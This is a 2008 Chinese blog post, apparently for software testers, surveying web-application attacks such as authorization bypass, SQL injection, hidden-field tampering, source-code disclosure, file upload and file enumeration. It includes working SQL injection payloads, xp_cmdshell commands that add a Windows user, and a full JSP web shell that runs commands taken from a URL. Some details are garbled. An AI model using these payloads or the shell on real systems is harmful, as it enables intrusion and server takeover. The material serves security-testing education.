将"测试"进行到底!~!

Web应用程序的常见安全攻击手段

上一篇 / 下一篇  2008-04-19 11:41:34

Web应用程序的常见安全问题:

 

1.确定是否存在SQL攻击的可能性

2.如果后端数据库Microsoft Access,尝试在该服务器上使用XP_CMDSHELL来运行该命令

3.尝试上传一些将由Web服务器解释的脚本,从而获取在这台服务器上运行命令的能力

4.尝试枚举一些系统可能用于备份或日志记录目的的文件。对发现的每一份文件进行检查,看看其中有没有敏感信息

5.尝试让Web服务器显示构成该站点脚本的源代码

6.检查所有的Web页面,看是否存在可被操纵用于攻击这个站点的隐藏变量

 

对于Web应用程序的常见安全攻击方法有:绕过授权、SQL注入、上传可执行内容、文件枚举、源代码泄露漏洞、HTTP中的隐藏字段等方法

 

下面的内容为安全攻击方法,仅供参考:

1.绕过授权:

比如:照片图库。一种常见懂得错误就是站点中真正得到登陆页面保护的部分仅仅是这个重新定向过程。因此,如果用户能猜出照片图库的URL,他就能够绕过这个登陆过程而查看这些页面。这类错误比你想象得还要常见。又例如,访问一个房地产网站,该网站要求付费才能访问更高级的列表。问题是他们使用了一个很容易推测的URL结构,因此你可以仅仅通过在URL中将数字加1就可以在不登陆的情况下枚举出所有的列表。

同样的原理可用于很多地方,其中包括二进制形式的协议和应用程序。当你试图找出这类安全漏洞时,最好的方法就是有这个被攻击应用程序上的2个帐号,一个常规的和一个管理员的。首先,分别登陆这两个帐号,并注意那些提供给admin(管理员)而没有提供给常规用户的功能。然后你可以尝试通过常规帐号来执行管理员功能。可以以这样一个Web页面为例,在这个界面上管理员可以通过一个链接来关闭系统,尝试以常规用户登陆,并将那个链接粘贴到浏览器中。你可能会得到意外收获。

 

2.SQL注入:

A. SQL注入基础

测试在数据库上执行该用户未被授权执行的操作。

21找出一个接受文本输入的输入字段

22测试这个输入是否被用作一个动态SQL语句的一部分

    a.查看文本输入是否被作为代码对待

    b.查看这个SQL查询是否可被操纵。如果可以,那么被操纵

23测试是否可以发现一个SQL数据表。有没有返回一个数据列?

    a.查看这个数据列的信息是否可用来映射整个用户数据表的数据列

    b.查看是否能真正向这个用户数据表中添加数据

24测试是否能在这个SQL服务器上执行代码

    a.尝试在这个SQL服务器上执行XP_CMDSHELL

    b.尝试在这个Web服务器上创建一个新用户

 

详细例子方法如下:

1.一个ASP登陆脚本的动态select语句:

sSQLQuery = “ select * from tblusers “ & _ “Where username=’ “ & sUsername & _ “ ‘and Password=’ “ & sPassword & “ ‘ ”

假如,输入用户admin,密码password登陆,则为:

Select * from tbluser where username=’ admin’ and password=’password’

你可以看到其中使用了“(单引号)字符来分隔用户数据与SQL代码。如果你将“”用作用户名,那么查询为:

Select * from tbluser where username=’ ’ ’ and password=’ ’

2.执行登陆后将产生错误:因为用户名的输入导致“and password=”被当作了这个SQL查询中的字符串的一部分。为了利用这个错误,需要一种途径使得SQL解释器忽略跟随在你输入后的查询部分,在MSSql Server中,破折号字符串(--)将通知服务器忽略之后的语句。比如你使用admin登陆,稍作修改:admin’ --,则查询如下:

Select * from tbluser where username=’admin’ --’ and password=’password’

则查询结果只返回针对admin的数据记录,避免了password的验证。

3.假如你不知道存在的合法用户名,则可以在用户输入框里输入:’ or 1=1 --。那么可以执行攻击的一个变种。则查询为:

Select * from tbluser where username=’ ’ or 1=1 -- ’and password=’password’

因为1=1总是为真,所以SQL服务器将返回所有用户的所有数据

 

B.数据库模式探索

  在前面的攻击手段中使用单引号产生的错误信息中,可获得有效的数据列名称password。下面在文本框中输入:test’ group by(password);--,查询产生错误信息,从里面可获取相关的数据表名称tbluser,与数据表字段name

  接着继续探索,并通过上面的列name来分组:test’ group by(name);--。探索可得到其他数据列信息lastloggedin,继续发送:test’ group by(lastloggedin);--。返回的错误信息返回到了name地方。因此可以猜测数据表存在三个数据列,而且可以通过Union Select来确认这个判断,如果参数数量不正确,将返回一个错误信息。

  探索:test’ Union select name,password,lastloggedin from tblusers;--

  要探索一个数据列的数据类型,可以使用另一个SQL函数COMPUTE SUM

Test’ compute Sum(name);--,可从页面返回信息中获取数据列的类型。

  当确定好所有的数据列的类型与数量后,你就能向这个记录系统用户的数据表中添加数据了:

  Test’; insert into tbluser(name, password, lastloggedin) values(‘root’, ‘123456’,’ ’);--

 

C.在SQL服务器上执行命令

  依靠所使用的SQL服务器,可以直接在数据库应用程序所在的服务器上执行命令。在MS SQL SERVER中,可以通过扩展存储过程来执行这种命令。这种功能的目的是允许数据库应用程序底层操作系统来执行某些服务。

你尝试在数据库服务器上创建一个新的用户。MS SQL SERVER中最有意思的扩展存储过程之一就是master .. xp_cmdshell,它允许SQL SERVERWindows shell(命令解释程序)传递命令。例如这样一条命令:master .. xp_cmdshell '这条命令将在此服务器上添加一个新用户,该用户的用户名是luke,密码是secret

  在登陆页面的用户字段中输入:’;exec master .. xp_cmdshell ‘net user luke secret/add ‘;--。这将构成下面的查询:

Select * from tbluser where username=’ ’;exec master .. xp_cmdshell ‘net user luke secret /add’-- and password=’secret’

上面命令执行成功后,你就可以执行下面的操作:

‘;exec master .. xp_cmdshell ‘dir c:\>c:\Inetpub\wwwroot\dir_listing.txt

这条语句将在Web根目录下创建一个目录列表

 

3.HTTP中的隐藏字段

检查HTTP中的隐藏字段。检查用于存储和发送状态信息的隐藏变量。

几年前,人们通常在Web页面上的隐藏变量中为垢污车程序存储像价格这个的敏感信息。比如一个隐藏变量来存储进行销售的小商品价格:

使用工具WebScarab找出页面中的隐藏变量,比如找出单价变量price10,设置WebScarab以允许对Web页面中的隐藏变量进行编辑,将price10改为1

这类攻击基本上是这样一类问题:尝试找出应用程序处理输入的方式,而后更改这个输入数据,从而利用该应用程序。明显的例子如:更改购物车中的价格、在存储用户专用信息的系统中更改用户名或者更改任何你认为能对数据和向用户发送进行控制的变量。

(注:具体的WebScarab工具使用方法这里就不陈述拉)

 

4.源代码泄露漏洞

在使用下面的描述,来验证源代码会不会被泄露:

1. 对于Windows平台上的WebSphere,如果你将页面URL中的.jsp后缀改为.JSP,将会返回该文件的源代码

2. MacOS X上运行的Web服务器,且数据取自HFS+文件系统。请求文件的资源分支会暴露敏感信息,特别是在Web服务器拒绝对文件直接访问的时候尤为严重。当服务器执行关于PHPmod_perl以及JSP文件的服务器端解释时,通过数据分支路径请求文件将返回脚本的源代码。其中可能会包含敏感信息,比如数据库身份验证信息、文件系统路径或者有专利权的应用程序逻辑

例子:

1. Windows上运行的WebSphere中出现这种漏洞的一个简单例子,如果你将页面.jsp改成.JSP,访问将会返回该文件的源代码。发生这种情况的原因是WebSphere处理文件的时候区分大小写,而Windows不区分大小写。

2. 运行ApacheOS X服务器上,可以请求资源分支的数据部分而获得文件的内容(在Macintosh文件系统中,文件实际上有两个部分:元数据和数据。)Apple公司的HFSHFS+文件系统对于每一个文件都有两个分离的数据流,分别作为“数据分支(data fork)”和资源分支(resource fork)来引用。

MacOsx 10.2及以后的版本中,对于给定的文件,通过在传递给open(2)系统调用的文件路径之后分别附加/..namefork/data或者/..namefork rsrc,也可以打开文件的数据分支和资源分支。在以前的版本中,可通过附加专用路径名/._Fork/data/._Fork/rsrc来处理。如一个PHP应用程序,在其访问路径http://localhost/fortune.php后加上/..namefork/data,可以返回这个页面的源代码。

 

5.上传可执行内容

测试是否可以上传可执行代码(ASP/PHP/bat)

a. 查看你是否能够控制写入文件的哪个目录

b. 构造要运行的代码,并将其放在应用程序将会搜索到的目录中

  有时候,被攻击的应用程序中没有攻击者想要的功能,所以,他就必须自己来添加功能。只要在Web应用程序中使用与这个应用程序相同的编程语言添加自己的代码,攻击者就可以达到目的。向Web应用程序中添加功能实际做起来要比想象中容易。你只需要将你的代码放在一个目录下,而整个目录正是Web服务器从其中执行代码的那个目录。在本例中,这段代码使用JSP编写,并允许通过一个Web浏览器,使用execute.jsp来传递命令。示例如:http://www.victim.com/cgi-bin/execute.jsp?cmd=dir

<% String cmd=request.getParameter(“cmd”);

  Out,println(“your command: ”+cmd+ “”);

Process p=Runtime.getRuntime().exec(cmd)

Java.io.InputStream is = p.getInputStream();

Java.io InputStream eis = p.getErrorStream();

Int c;

Out.println(“Results:\n”);

While((c=is.read())!=-1)

{

 Out.print((char) c);

}

Out.println(“\n”);

Out.println(“Errors:\n”);

While((c=eis.read())!=-1)

{

 Out.print((char) c);

}

Out.println(“\n”);%>

 

这种攻击并不局限于解释型代码或者局限于Web应用程序。通过某些动态加载代码,通过可以实现注入功能。最常见方法就是使用插件和DLL

 

6.文件枚举

检查你可能猜出的文件的类型,这将会为你提供有关系统的跟多信息。现给出一些要寻找的文件类型:.bak.backup~.orig.tmp.temp.log.old#filename#。通过向文件名中附加一个空字节,检查是否能够从文件中获得信息。检查目标文件中是否有敏感数据。检查目标文件是否可被修改,从而用于攻击。

第一,在文件名后附加一个空(null)字节

  如:http://www.example.com/login.jsp% 应用程序将这个文件类型与它所能执行的文件类型相比较,但由于这个额外的字节,匹配失败。当这个文件交给操作系统来打开的时候,操作系统会将这个“% ”解释为文件名字字符传的结束标志。

第二,通过程序来完成大多数文件枚举的乏味工作。比如知名度最高的Nikto,这个程序可在http://www.cirt.net/code/nikto.shtml找到。但是找到的文件,必须你手工一一浏览,找取感兴趣的数据。

 


TAG:

 

评分:0

我来说两句

Open Toolbar